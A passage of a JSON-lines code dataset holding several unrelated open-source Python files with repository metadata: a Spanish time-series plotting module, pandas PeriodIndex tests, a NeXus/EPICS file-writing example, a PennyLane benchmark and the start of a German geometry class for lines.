deepcopy(values)\r\n        else:\r\n            self.fechas = fechas\r\n            self.values = values\r\n\r\n        self.legend = legend\r\n        self.marker = marker\r\n        self.scatter = scatter\r\n        self.linestyle = slinestyle\r\n\r\n\r\n    @property\r\n    def x(self):\r\n        return self.fechas\r\n\r\n\r\n    @property\r\n    def y(self):\r\n        return self.values\r\n\r\n\r\n    @staticmethod\r\n    def minmax_fechas(t_series: list) -> list():\r\n        \"\"\"\r\n        devuelve el m\u00ednimo y el m\u00e1ximo de cada elemento de t_series, que es\r\n            de tipo Time_series\r\n        args\r\n        t_series: lista en que cada elemento es un onjeto Time_series\r\n        dbtype: gestor de base de datos\r\n        output\r\n        fecha m\u00ednima y m\u00e1xima de los elementos en t_series en formato str\r\n            yyyy-mm-dd\r\n        \"\"\"\r\n        minmax = np.array([[l.fechas[0], l.fechas[-1]] for l in t_series],\r\n                          dtype='datetime64')\r\n        minmax = [np.min(minmax[:, 0]), np.max(minmax[:, 1])]\r\n        minmax = np.datetime_as_string(minmax, unit='D').tolist()\r\n        return minmax\r\n\r\n\r\nclass Plot_time_series():\r\n\r\n    def __init__(self, title: str, ts1: [], ylabel1: str, dst: str,\r\n                 write_data: int, ts2: list=[], ylabel2: str=''):\r\n        \"\"\"\r\n        Llama a la funci\u00f3n que dibuja uno o dos gr\u00e1ficos por figura\r\n        args\r\n        st: lista de objetos Time_series que se dibujan en el gr\u00e1fico principal\r\n        title: t\u00edtulo de la figura\r\n        ylabel1: nombre del eje de las Y upper graph\r\n        dst: direcci\u00f3n y nombre del fichero a grabar\r\n        ts2: lista de Time_series que se dibujan en el gr\u00e1fico inferior; puede\r\n            valer []\r\n        ylabel2: nombre del eje de las Y del gr\u00e1fico inferior, si ts2 no es []\r\n        \"\"\"\r\n        for item in ts1 + ts2:\r\n            if not isinstance(item, Time_series):\r\n                raise ValueError('Los elementos de ts1 y ts2 deben ser ' +\\\r\n                                 'instancias Time_series')\r\n        if ts2:\r\n            Plot_time_series.xy_ts_plot_2g(title, ts1, ylabel1, ts2, ylabel2,\r\n                                           dst)\r\n        else:\r\n            Plot_time_series.xy_ts_plot_1g(title, ts1, ylabel1, dst)\r\n        if write_data:\r\n            Plot_time_series.write_data_2xml(dst, title, ts1, ylabel1,\r\n                                             ts2, ylabel2)\r\n\r\n\r\n    @staticmethod\r\n    def xy_ts_plot_1g(title: str, tsu: list, ylabelu: str, dst: str):\r\n        \"\"\"\r\n        Dibuja una figura con 1 gr\u00e1fico (axis) xy\r\n        args\r\n        title: t\u00edtulo de la figura\r\n        tsu: lista de objetos Time_series para el gr\u00e1fico superior\r\n        ylabelu: label eje y gr\u00e1fico superior\r\n        tsl: lista de objetos Time_series para el gr\u00e1fico inferior\r\n        dst: nombre fichero destino (debe incluir la extensi\u00f3n png)\r\n        \"\"\"\r\n        # par\u00e1metros espec\u00edficos\r\n        mpl.rc('font', size=8)\r\n        mpl.rc('axes', labelsize=8, titlesize= 10, grid=True)\r\n        mpl.rc('axes.spines', right=False, top=False)\r\n        mpl.rc('xtick', direction='out', top=False)\r\n        mpl.rc('ytick', direction='out', right=False)\r\n        mpl.rc('lines', linewidth=0.8, linestyle='-', marker='.', markersize=4)\r\n        mpl.rc('legend', fontsize=8, framealpha=0.5, loc='best')\r\n\r\n        fig, ax = plt.subplots()\r\n\r\n        plt.suptitle(title)\r\n        ax.set_ylabel(ylabelu)\r\n\r\n        fig.autofmt_xdate()\r\n\r\n        for ts1 in tsu:\r\n            ax.plot(ts1.x, ts1.y, label=ts1.legend)\r\n            ax.legend()\r\n\r\n        fig.savefig(dst)\r\n        plt.close('all')\r\n        plt.rcdefaults()\r\n\r\n\r\n    @staticmethod\r\n    def xy_ts_plot_2g(title: str, tsu: list, ylabelu: str, tsl: list,\r\n                      ylabell: str, dst: str):\r\n        \"\"\"\r\n        Dibuja una figura con 2 gr\u00e1fico (axis) xy de una o m\u00e1s series cada uno\r\n            que comparten el eje x. El superior es el principal y ocupa 2/3 de\r\n            la altura de la figura. El inferior es secundario y ocupa 1/3 de la\r\n            altura de la figura\r\n        title: t\u00edtulo de la figura\r\n        tsu: lista de objetos Time_series para el gr\u00e1fico superior\r\n        ylabelu: label eje y gr\u00e1fico superior\r\n        tsl: lista de objetos Time_series para el gr\u00e1fico inferior\r\n        dst: nombre fichero destino (debe incluir la extensi\u00f3n png)\r\n        \"\"\"\r\n        import matplotlib.pyplot as plt\r\n        import matplotlib as mpl\r\n\r\n        # par\u00e1metros espec\u00edficos\r\n        mpl.rc('font', size=8)\r\n        mpl.rc('axes', labelsize=8, titlesize= 10, grid=True)\r\n        mpl.rc('axes.spines', right=False, top=False)\r\n        mpl.rc('xtick', direction='out', top=False)\r\n        mpl.rc('ytick', direction='out', right=False)\r\n        mpl.rc('lines', linewidth=0.8, linestyle='-', marker='.', markersize=4)\r\n        mpl.rc('legend', fontsize=8, framealpha=0.5, loc='best')\r\n\r\n        fig, _ = plt.subplots()\r\n\r\n        plt.suptitle(title)\r\n        plt.subplots_adjust(hspace=0.1, bottom=0.16, top=0.87)\r\n\r\n        ax1 = plt.subplot2grid((3, 1), (0, 0), rowspan=2)\r\n        ax2 = plt.subplot2grid((3, 1), (2, 0), sharex=ax1)\r\n        ax1.set_ylabel(ylabelu)\r\n        ax2.set_ylabel(ylabell)\r\n\r\n        fig.autofmt_xdate()\r\n\r\n        for ts1 in tsu:\r\n            ax1.plot(ts1.x, ts1.y, label=ts1.legend)\r\n            ax1.legend()\r\n\r\n        # subplot inferior (stem)\r\n        for ts1 in tsl:\r\n            markerline, _, _ = ax2.stem(ts1.x, ts1.y, markerfmt=' ',\r\n                                        basefmt=' ', label=ts1.legend,\r\n                                        use_line_collection=True)\r\n            markerline.set_markerfacecolor('none')\r\n            ax2.legend()\r\n\r\n        fig.savefig(dst)\r\n        plt.close('all')\r\n        plt.rcdefaults()\r\n\r\n\r\n    @staticmethod\r\n    def write_data_2xml(dst: str, title: str, ts1: [], ylabel1: str,\r\n                        ts2: list=[], ylabel2: str=''):\r\n        \"\"\"\r\n        graba un fichero xml con los datos de un gr\u00e1fico xy de una o m\u00e1s series\r\n        args\r\n        dst: nombre del fichero png del gr\u00e1fico\r\n        title: t\u00edtulo de la figura\r\n        ts1: lista de objetos Time_series en el gr\u00e1fico superior\r\n        ylabel1: t\u00edtulo del eje Y en el gr\u00e1fico superior\r\n        ts2: lista de objetos Time_series en el gr\u00e1fico inferior\r\n        ylabel2: t\u00edtulo del eje Y en el gr\u00e1fico inferior\r\n        \"\"\"\r\n        from os.path import splitext\r\n\r\n        name, ext = splitext(dst)\r\n        fo = open(name + '.xml', 'w')\r\n        fo.write('<?xml version=\"1.0\" encoding=\"windows-1252\"?>\\n')\r\n        fo.write('<fig>\\n')\r\n        fo.write('<titulo>{title}</titulo>\\n')\r\n        Plot_time_series.write_time_series_list(fo, ts1, ylabel1)\r\n        if ts2:\r\n            Plot_time_series.write_time_series_list(fo, ts2, ylabel2)\r\n        fo.write('</fig>\\n')\r\n        fo.close()\r\n\r\n\r\n    @staticmethod\r\n    def write_time_series_list(fo, t_series, ylabel):\r\n        \"\"\"\r\n        graba una lista de instancias Time_series\r\n        args\r\n        fo: objecto File, abierto\r\n        t_series: lista de objetos Time_series; el primer elemento se\r\n            considera la series principal\r\n        ylabel: t\u00edtulo del eje Y\r\n        \"\"\"\r\n        fo.write('<xy>\\n')\r\n        fo.write(f'<eje_y>{ylabel}</eje_y>\\n')\r\n        for ts1 in t_series:\r\n            fo.write(f'<punto>{ts1.legend}\\n')\r\n            for x1, v1 in zip(ts1.x, ts1.y):\r\n                fo.write(f'<d>{x1}\\t{v1:0.2f}</d>\\n')\r\n            fo.write('</punto>\\n')\r\n        fo.write('</xy>\\n')\r\n\r\n", "meta": {"hexsha": "ae8245bb9ffb5dc8525eafdb6162a72470805439", "size": 8610, "ext": "py", "lang": "Python", "max_stars_repo_path": "quimchsweb/xyts_mpl.py", "max_stars_repo_name": "solisgb/xyts", "max_stars_repo_head_hexsha": "895acf283f7ec7001ed439e532893993915e7eb2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "quimchsweb/xyts_mpl.py", "max_issues_repo_name": "solisgb/xyts", "max_issues_repo_head_hexsha": "895acf283f7ec7001ed439e532893993915e7eb2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "quimchsweb/xyts_mpl.py", "max_forks_repo_name": "solisgb/xyts", "max_forks_repo_head_hexsha": "895acf283f7ec7001ed439e532893993915e7eb2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.4320987654, "max_line_length": 80, "alphanum_fraction": 0.5541231127, "include": true, "reason": "import numpy", "num_tokens": 2160, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3738758227716966, "lm_q2_score": 0.15203224162217424, "lm_q1q2_score": 0.056841179424315776}}
{"text": "# -*- coding: utf-8 -*-\n\nimport pytest\nimport numpy as np\n\nimport pandas as pd\nimport pandas.util.testing as tm\nfrom pandas import PeriodIndex\n\n\nclass TestPeriodIndexArithmetic(object):\n    # ---------------------------------------------------------------\n    # PeriodIndex.shift is used by __add__ and __sub__\n\n    def test_pi_shift_ndarray(self):\n        idx = PeriodIndex(['2011-01', '2011-02', 'NaT', '2011-04'],\n                          freq='M', name='idx')\n        result = idx.shift(np.array([1, 2, 3, 4]))\n        expected = PeriodIndex(['2011-02', '2011-04', 'NaT', '2011-08'],\n                               freq='M', name='idx')\n        tm.assert_index_equal(result, expected)\n\n        result = idx.shift(np.array([1, -2, 3, -4]))\n        expected = PeriodIndex(['2011-02', '2010-12', 'NaT', '2010-12'],\n                               freq='M', name='idx')\n        tm.assert_index_equal(result, expected)\n\n    def test_shift(self):\n        pi1 = PeriodIndex(freq='A', start='1/1/2001', end='12/1/2009')\n        pi2 = PeriodIndex(freq='A', start='1/1/2002', end='12/1/2010')\n\n        tm.assert_index_equal(pi1.shift(0), pi1)\n\n        assert len(pi1) == len(pi2)\n        tm.assert_index_equal(pi1.shift(1), pi2)\n\n        pi1 = PeriodIndex(freq='A', start='1/1/2001', end='12/1/2009')\n        pi2 = PeriodIndex(freq='A', start='1/1/2000', end='12/1/2008')\n        assert len(pi1) == len(pi2)\n        tm.assert_index_equal(pi1.shift(-1), pi2)\n\n        pi1 = PeriodIndex(freq='M', start='1/1/2001', end='12/1/2009')\n        pi2 = PeriodIndex(freq='M', start='2/1/2001', end='1/1/2010')\n        assert len(pi1) == len(pi2)\n        tm.assert_index_equal(pi1.shift(1), pi2)\n\n        pi1 = PeriodIndex(freq='M', start='1/1/2001', end='12/1/2009')\n        pi2 = PeriodIndex(freq='M', start='12/1/2000', end='11/1/2009')\n        assert len(pi1) == len(pi2)\n        tm.assert_index_equal(pi1.shift(-1), pi2)\n\n        pi1 = PeriodIndex(freq='D', start='1/1/2001', end='12/1/2009')\n        pi2 = PeriodIndex(freq='D', start='1/2/2001', end='12/2/2009')\n        assert len(pi1) == len(pi2)\n        tm.assert_index_equal(pi1.shift(1), pi2)\n\n        pi1 = PeriodIndex(freq='D', start='1/1/2001', end='12/1/2009')\n        pi2 = PeriodIndex(freq='D', start='12/31/2000', end='11/30/2009')\n        assert len(pi1) == len(pi2)\n        tm.assert_index_equal(pi1.shift(-1), pi2)\n\n    def test_shift_corner_cases(self):\n        # GH#9903\n        idx = pd.PeriodIndex([], name='xxx', freq='H')\n\n        with pytest.raises(TypeError):\n            # period shift doesn't accept freq\n            idx.shift(1, freq='H')\n\n        tm.assert_index_equal(idx.shift(0), idx)\n        tm.assert_index_equal(idx.shift(3), idx)\n\n        idx = pd.PeriodIndex(['2011-01-01 10:00', '2011-01-01 11:00'\n                              '2011-01-01 12:00'], name='xxx', freq='H')\n        tm.assert_index_equal(idx.shift(0), idx)\n        exp = pd.PeriodIndex(['2011-01-01 13:00', '2011-01-01 14:00'\n                              '2011-01-01 15:00'], name='xxx', freq='H')\n        tm.assert_index_equal(idx.shift(3), exp)\n        exp = pd.PeriodIndex(['2011-01-01 07:00', '2011-01-01 08:00'\n                              '2011-01-01 09:00'], name='xxx', freq='H')\n        tm.assert_index_equal(idx.shift(-3), exp)\n\n    def test_shift_nat(self):\n        idx = PeriodIndex(['2011-01', '2011-02', 'NaT', '2011-04'],\n                          freq='M', name='idx')\n        result = idx.shift(1)\n        expected = PeriodIndex(['2011-02', '2011-03', 'NaT', '2011-05'],\n                               freq='M', name='idx')\n        tm.assert_index_equal(result, expected)\n        assert result.name == expected.name\n\n    def test_shift_gh8083(self):\n        # test shift for PeriodIndex\n        # GH#8083\n        drange = pd.period_range('20130101', periods=5, freq='D')\n        result = drange.shift(1)\n        expected = PeriodIndex(['2013-01-02', '2013-01-03', '2013-01-04',\n                                '2013-01-05', '2013-01-06'], freq='D')\n        tm.assert_index_equal(result, expected)\n\n    def test_shift_periods(self):\n        # GH #22458 : argument 'n' was deprecated in favor of 'periods'\n        idx = PeriodIndex(freq='A', start='1/1/2001', end='12/1/2009')\n        tm.assert_index_equal(idx.shift(periods=0), idx)\n        tm.assert_index_equal(idx.shift(0), idx)\n        with tm.assert_produces_warning(FutureWarning,\n                                        check_stacklevel=True):\n            tm.assert_index_equal(idx.shift(n=0), idx)\n", "meta": {"hexsha": "d9cbb3ea27d7bb8b96d8da3956838f6913e0c233", "size": 4512, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas/tests/indexes/period/test_arithmetic.py", "max_stars_repo_name": "blueenvelope31/pandas", "max_stars_repo_head_hexsha": "6e1f41b45a0d08f662b794ed98695b8595f39023", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2018-09-06T13:36:11.000Z", "max_stars_repo_stars_event_max_datetime": "2018-09-09T12:38:22.000Z", "max_issues_repo_path": "pandas/tests/indexes/period/test_arithmetic.py", "max_issues_repo_name": "blueenvelope31/pandas", "max_issues_repo_head_hexsha": "6e1f41b45a0d08f662b794ed98695b8595f39023", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pandas/tests/indexes/period/test_arithmetic.py", "max_forks_repo_name": "blueenvelope31/pandas", "max_forks_repo_head_hexsha": "6e1f41b45a0d08f662b794ed98695b8595f39023", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-05-04T15:41:25.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-04T15:41:25.000Z", "avg_line_length": 41.3944954128, "max_line_length": 73, "alphanum_fraction": 0.5492021277, "include": true, "reason": "import numpy", "num_tokens": 1340, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.11920292984474949, "lm_q1q2_score": 0.05680969071117856}}
{"text": "import numpy as np\r\nimport nexusformat\r\n\r\n\r\ndef write_nexus_file(fname, image, md={}):\r\n    \"\"\"\r\n    write the image to a NeXus HDF5 data file\r\n\r\n    Parameters\r\n    ----------\r\n    fname : str\r\n        name of the file (relative or absolute) to be written\r\n    image : numpy array\r\n        the image data\r\n    md : dictionary\r\n        key: value where value is something that can be written by h5py\r\n             (such as str, int, float, numpy array, ...)\r\n    \"\"\"\r\n    nx = NXroot()\r\n    nx['/entry'] = NXentry(NXinstrument(NXdetector()))\r\n    nx['entry/instrument/detector/image'] = NXfield(image, units='counts',\r\n                                                    compression='gzip')\r\n    nx['entry/data'] = NXdata()\r\n    nx['entry/data'].makelink(nx['entry/instrument/detector/image'])\r\n    nx['entry/data'].nxsignal = nx['entry/data/image']\r\n\r\n    if len(md) > 0:\r\n        # /entry/instrument/metadata (optional, for metadata)\r\n        metadata = nx['/entry/instrument/metadata'] = NXcollection()\r\n        for k, v in md.items():\r\n            metadata[k] = v\r\n\r\n    nx.save(fname, 'w')\r\n\r\n\t\r\nif __name__ == \"__main__\":\r\n\t\"\"\"demonstrate how to use this code\"\"\"\r\n\timport epics\r\n\tprefix = \"13SIM1:\"\r\n\timg = epics.caget(prefix+\"image1:ArrayData\")\r\n\tsize_x = epics.caget(prefix+\"cam1:ArraySizeX_RBV\")\r\n\tsize_y = epics.caget(prefix+\"cam1:ArraySizeY_RBV\")\r\n\t# edit the full image for just the binned data\r\n\timg = img[:size_x*size_y].reshape((size_x, size_y))\r\n\r\n\textra_information = dict(\r\n\t\tunique_id = epics.caget(prefix+\"image1:UniqueId_RBV\"),\r\n\t\tsize_x = size_x,\r\n\t\tsize_y = size_y,\r\n\t\tdetector_state = epics.caget(prefix+\"cam1:DetectorState_RBV\"),\r\n\t\tbitcoin_value=\"15000\",\r\n\t)\r\n\twrite_nexus_file(\"example.h5\", img, md=extra_information)\r\n", "meta": {"hexsha": "8c63a068ddd35fa3e8e1f76cd099bf7dd1db7f71", "size": 1746, "ext": "py", "lang": "Python", "max_stars_repo_path": "definitions/manual/source/examples/epics/write_nexus_file2.py", "max_stars_repo_name": "trnielsen/nexus-constructor", "max_stars_repo_head_hexsha": "65efb6eedca30250b75f142dd29a46bc909958df", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-05-31T08:38:25.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-06T09:23:21.000Z", "max_issues_repo_path": "definitions/manual/source/examples/epics/write_nexus_file2.py", "max_issues_repo_name": "trnielsen/nexus-constructor", "max_issues_repo_head_hexsha": "65efb6eedca30250b75f142dd29a46bc909958df", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 709, "max_issues_repo_issues_event_min_datetime": "2019-02-06T08:23:07.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-29T23:03:37.000Z", "max_forks_repo_path": "definitions/manual/source/examples/epics/write_nexus_file2.py", "max_forks_repo_name": "trnielsen/nexus-constructor", "max_forks_repo_head_hexsha": "65efb6eedca30250b75f142dd29a46bc909958df", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-03-06T09:58:56.000Z", "max_forks_repo_forks_event_max_datetime": "2020-08-04T18:32:57.000Z", "avg_line_length": 32.3333333333, "max_line_length": 75, "alphanum_fraction": 0.6162657503, "include": true, "reason": "import numpy", "num_tokens": 461, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4765796510636759, "lm_q2_score": 0.11920292515117027, "lm_q1q2_score": 0.0568096884743142}}
{"text": "# Copyright 2018-2020 Xanadu Quantum Technologies Inc.\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n#     http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nMutable QNode, complicated primary parameters benchmark.\n\"\"\"\n# pylint: disable=invalid-name\nimport numpy as np\n\nimport pennylane as qml\nimport benchmark_utils as bu\n\n\ndef circuit(p, *, aux=0):\n    \"\"\"A very simple, lightweight mutable quantum circuit.\"\"\"\n    qml.RX(p[aux][2], wires=[0])\n    return qml.expval(qml.PauliZ(0))\n\n\nclass Benchmark(bu.BaseBenchmark):\n    \"\"\"\n    This benchmark attempts to measure the efficiency of :meth:`JacobianQNode._construct` for\n    mutable QNodes, using an extreme case where the QNode has lots of primary parameters with\n    a complicated nested structure, but relatively few auxiliary parameters, and only a few\n    of the primary parameters are actually used in the circuit.\n\n    When the QNode is constructed, a VariableRef is built for each primary parameter,\n    and the qfunc re-evaluated. In this test this is meant to be time-consuming, but it is only\n    strictly necessary if the auxiliary parameters change.\n    The main reasons why there are significant differences in the execution speed of this test\n    between different PL commits:\n\n      * :meth:`BaseQNode._construct` should only reconstruct the QNode if the auxiliary params\n        have changed.\n      * Most of the primary params are not used in the circuit, hence\n        :meth:`JacobianQNode._construct` should efficiently figure out that partial derivatives\n        wrt. them are always zero.\n    \"\"\"\n\n    name = \"mutable qnode, complicated primary params\"\n    min_wires = 1\n    n_vals = range(6, 13, 1)\n\n    def __init__(self, device=None, verbose=False):\n        super().__init__(device, verbose)\n        self.qnode = None\n\n    def setup(self):\n        self.qnode = bu.create_qnode(circuit, self.device, mutable=True, interface=None)\n\n    def benchmark(self, n=8):\n        # n is the number of levels in the primary parameter tree.\n        # Hence the number of primary parameters depends exponentially on n.\n\n        def create_params(n):\n            \"\"\"Recursively builds a tree structure with n levels.\"\"\"\n            if n <= 0:\n                # the leaves are arrays\n                return np.random.randn(2)\n            # the other nodes have two branches and a scalar\n            return [create_params(n - 1), create_params(n - 1), np.random.randn()]\n\n        p = create_params(n)\n\n        def evaluate(aux):\n            \"\"\"Evaluates the qnode using the given auxiliary params.\"\"\"\n            res = self.qnode(p, aux=aux)\n            # check the result\n            assert np.allclose(res, np.cos(p[aux][2]))\n\n        # first evaluation and construction\n        evaluate(0)\n        # evaluate the node several times more with a different auxiliary argument\n        # (it does not matter if p changes or not, the VariableRefs handle it)\n        for _ in range(1, 10):\n            # If we had evaluate(i % 2) here instead the auxiliary arguments would change\n            # every time, which would negate most possible speedups.\n            evaluate(1)\n\n        return True\n", "meta": {"hexsha": "34b63a4614f6bbcc59ac08c399803209f729f02f", "size": 3592, "ext": "py", "lang": "Python", "max_stars_repo_path": "benchmark/bm_mutable_complicated_params.py", "max_stars_repo_name": "ryanlevy/pennylane", "max_stars_repo_head_hexsha": "fb03b09d17267ebd0b9050432f9eeb84b5dff200", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-10-15T01:09:27.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-15T01:09:27.000Z", "max_issues_repo_path": "benchmark/bm_mutable_complicated_params.py", "max_issues_repo_name": "ryanlevy/pennylane", "max_issues_repo_head_hexsha": "fb03b09d17267ebd0b9050432f9eeb84b5dff200", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-10-04T22:45:45.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-04T22:45:45.000Z", "max_forks_repo_path": "benchmark/bm_mutable_complicated_params.py", "max_forks_repo_name": "ryanlevy/pennylane", "max_forks_repo_head_hexsha": "fb03b09d17267ebd0b9050432f9eeb84b5dff200", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-07-11T11:45:14.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-11T11:45:14.000Z", "avg_line_length": 39.4725274725, "max_line_length": 95, "alphanum_fraction": 0.684298441, "include": true, "reason": "import numpy", "num_tokens": 802, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657963619520866, "lm_q2_score": 0.11920291263495983, "lm_q1q2_score": 0.056809680736978396}}
{"text": "\ufeff#!/usr/bin/python\n# -*- coding utf-8 -*-\n\n\n\n#                                                 \n# Gerade - Klasse  von agla           \n#                                                 \n\n#\n# This file is part of agla\n#\n#\n# Copyright (c) 2019 Holger B\u00f6ttcher  hbomat@posteo.de\n#\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n# you may not use this file except in compliance with the License\n# You may obtain a copy of the License at\n#  \n#      http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#  \n\n\n\nimport importlib\n\nimport numpy as np\nfrom agla.lib.objekte.umgebung import UMG\t\nif UMG.grafik_3d == 'mayavi':\n    from mayavi import mlab\nelse:\n    from vispy import scene\nimport matplotlib.pyplot as plt\n\nfrom IPython.display import display, Math\n\nfrom sympy.core.sympify import sympify\nfrom sympy.core.containers import Tuple\nfrom sympy.functions.elementary.miscellaneous import sqrt\nfrom sympy.simplify.simplify import simplify, nsimplify\nfrom sympy.core.symbol import Symbol, symbols \nfrom sympy.solvers.solvers import solve\nfrom sympy.core.evalf import N\t \nfrom sympy.core.function import expand\nfrom sympy import Min, Max\nfrom sympy.polys.polytools import Poly\nfrom sympy.printing import latex\nfrom sympy.core.numbers import Integer, Float\n\nfrom agla.lib.objekte.basis import AglaObjekt\nfrom agla.lib.funktionen.funktionen import (is_zahl, mit_param, kollinear, \n     Gleichung, orthogonal, loese, wert_ausgabe)\nfrom agla.lib.funktionen.graf_funktionen import hex2color, _funkt_sympy2numpy\nfrom agla.lib.objekte.ausnahmen import AglaError\nimport agla\n\n\t\n\n# Gerade - Klasse  \n# ---------------                                   \n                                 \nclass Gerade(AglaObjekt):    \n    \"\"\"Gerade im Raum und in der Ebene\n\t\n**Erzeugung im Raum und in der Ebene** \n\n   Gerade ( *st\u00fctz, richt /[, par ]* )\n\n   *oder* \n\t\n   Gerade ( *schar /[, par ]* ) \n\t\n**Erzeugung nur in der Ebene** \n\n   Gerade ( *m, n* )\n   \n   *oder*\n\n   Gerade ( *a, b, c* )\n   \n**Parameter**\t\n\t\n   *st\u00fctz* :    St\u00fctzvektor\n\t  \n   *richt* :    Richtungsvektor\n   \n   *par* :      Geradenparameter; *t* falls nicht angegeben\n\n   *schar*:    \n      | Punkteschar, die eine Gerade bildet\n      | *par* muss bei mehr als einem Parameter in *schar* \n        angegeben werden   \n\n   *m, n* :     Koeffizienten der Gleichung  *y=mx+n*\n\t\t\t\t\n   *a, b, c* :     Koeffizienten der Gleichung  *ax+by+c=0*\n\t\n\t\n**Vordefinierte Geraden**\n   \n``x_achse`` : *x* -Achse im Raum \n\n``y_achse`` : ebenso, *y* -Achse\n\n``z_achse`` : ebenso, *z* -Achse  \n\n``x_achse2`` : *x* -Achse in der Ebene\n\n``y_achse2`` : ebenso, *y* -Achse\n\t\t\n    \"\"\"\n\t\t\n    def __new__(cls, *args, **kwargs):  \n\t\t\t\n        if kwargs.get(\"h\") in (1, 2, 3, 4):                         \n            gerade_hilfe(kwargs[\"h\"])\t\t\n            return\t\n\t\t\t\n        try:\t\n\n\t\t     # Erzeugen einer Geraden in R^2\t\n            if is_zahl(args[0]):\n                if len(args) == 2:\n                    if not is_zahl(args[1]):\n                        raise AglaError(\"zwei oder drei Zahlen angeben\")\n                    a = -nsimplify(sympify(args[0]))\n                    b = 1\t\t\t\t\t \n                    c = -nsimplify(sympify(args[1]))\n                elif len(args) == 3:\n                    if not (is_zahl(args[1]) and is_zahl(args[2])):\n                        raise AglaError(\"zwei oder drei Zahlen angeben\")\n                    a = nsimplify(sympify(args[0]))\n                    b = nsimplify(sympify(args[1]))\t\t\t\t\t \n                    c = nsimplify(sympify(args[2]))\n                else:            \n                    raise AglaError(\"zwei oder drei Zahlen angeben\")\n                t = Symbol('t')\t\t\t\t\t\n                return AglaObjekt.__new__(cls, a, b, c, t)\n                 \t\t\t\t\t\t\t \t\n            # Erzeugen einer Geraden in R^3 aus einer Punktmenge mit Parametern\n            if (len(args) == 1 and isinstance(args[0], Vektor)) or \\\n               (len(args) == 2 and isinstance(args[0], Vektor) and not \\\n               isinstance(args[1], Vektor)):\n                p = args[0] \t\n                if not p.free_symbols:\n                    raise AglaError(\"zwei Vektoren oder Vektor mit Parameter(n) angeben\")\n                pars = p.free_symbols\t\t\t\t\n                if len(args) == 2:\t\t\t\t\n                    par\t= args[1]\n                    if not par.free_symbols:\t\t\t\t\t\n                         raise AglaError(\"der angegebene Parameter ist nicht frei\")\n                    if not par in pars:\t\t\t\t\t\n                         raise AglaError(\"der angegebene Parameter ist im Vektor nicht vorhanden\")\n                else:\t\n                    if len(pars) > 1:\t\t\t\t\n                         raise AglaError(\"einen Parameter explizit angeben\")\n                    par = pars.pop()\t\n                stuetz, richt = list(), list() \t\t\t\n                for k in p.komp:\n                    if not k.is_polynomial:\n                        raise AglaError(\"Komponenten m\u00fcssen Polynome sein\")\n                    if Poly(k, par).degree() > 1:\n                        txt = \"der Parameter darf h\u00f6chstens in 1. Potenz auftreten\"\n                        raise AglaError(txt)\n                    li = Poly(k, par).all_coeffs()\t\t\t\t\n                    stuetz += [li[-1]]\t\t\t\t\n                    if len(li) == 2:\n                        richt += [li[0]]\n                    else:\n                        richt += [0]\t\n                stuetz = Vektor([nsimplify(k) for k in stuetz])\t\t\t\t\n                richt = Vektor([nsimplify(k) for k in richt])\t\t\t\t\n                return AglaObjekt.__new__(cls, stuetz, richt, par)\n\t   \n\t\t     # Erzeugen einer Geraden in R^3 und R^2 \u00fcber St\u00fctz- und Richtungsvektor\n            if len(args) < 2 or len(args) > 3:\n                txt = \"St\u00fctz-, Richtungsvektor und evtl. Geradenparameter angeben\"\n                raise AglaError(txt)\t\t\n            if not (isinstance(args[0], Vektor) and isinstance(args[1], Vektor) and\n\t\t         args[0].dim == args[1].dim):\n                raise AglaError(\"zwei Vektoren mit gleicher Dimension angeben\")\n            stuetz = args[0]\t\t\n            richt = args[1]\n            if richt == Vektor(0, 0, 0) or richt == Vektor(0, 0):\n                raise AglaError('der Nullvektor kann nicht Richtungsvektor sein')\t\t\t\n            if len(args) == 3:\n                if 